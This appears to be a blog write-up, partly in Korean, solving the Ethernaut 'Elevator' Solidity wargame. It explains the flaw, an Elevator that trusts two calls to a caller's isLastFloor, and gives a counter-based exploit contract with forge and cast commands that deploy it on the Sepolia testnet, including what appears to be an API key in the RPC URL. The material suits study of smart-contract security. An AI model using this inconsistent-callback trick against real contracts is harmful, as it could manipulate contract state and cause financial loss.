728x90
Description
This elevator won't let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This Elevator expects to be used from a Building.
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Scenario
top을 true로 만들어야 한다. 그런데 일단 isLastFloor(floor)가 false여야 if 문을 들어와 top을 변경할 수 있으므로 false여야 한다. isLastFloor 함수 안에 조건문 두 개를 넣어 꼭대기 층이면 true인 조건문 하나와 더불어, 두 번째 진입때부터 true를 반환하는 조건문도 추가한다. 즉, isLastFloor에 진입할 때마다 counter를 증가시켜 counter가 0이 아닐 때도 true를 반환하게 한다. 그럼 조건문에서는 false가 반환되고 top 변수 값 할당 부분에서는 두 번째 진입이므로 true가 반환된다.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IElevator {
function goTo(uint256) external;
}
contract Building {
uint public top_floor = 10;
address level = 0xd579e75687E7a2075831e9E96f9783fe5ba57CCc;
uint floor = 5;
IElevator elevator;
uint counter = 0;
constructor () {
elevator = IElevator(level);
}
function isLastFloor(uint256 _floor) public returns (bool) {
if (_floor == top_floor) {
return true;
}
if (counter != 0) {
return true;
}
else {
counter++;
return false;
}
}
function goToTop() public {
elevator.goTo(floor);
}
}
❯ forge create --rpc-url https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f --private-key {pk} Exploit.sol:Building
❯ cast send 0x258595cc605bBebd1C169beeb66B434D18Bac3e8 --rpc-url https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f --private-key {pk} "goToTop()"
728x90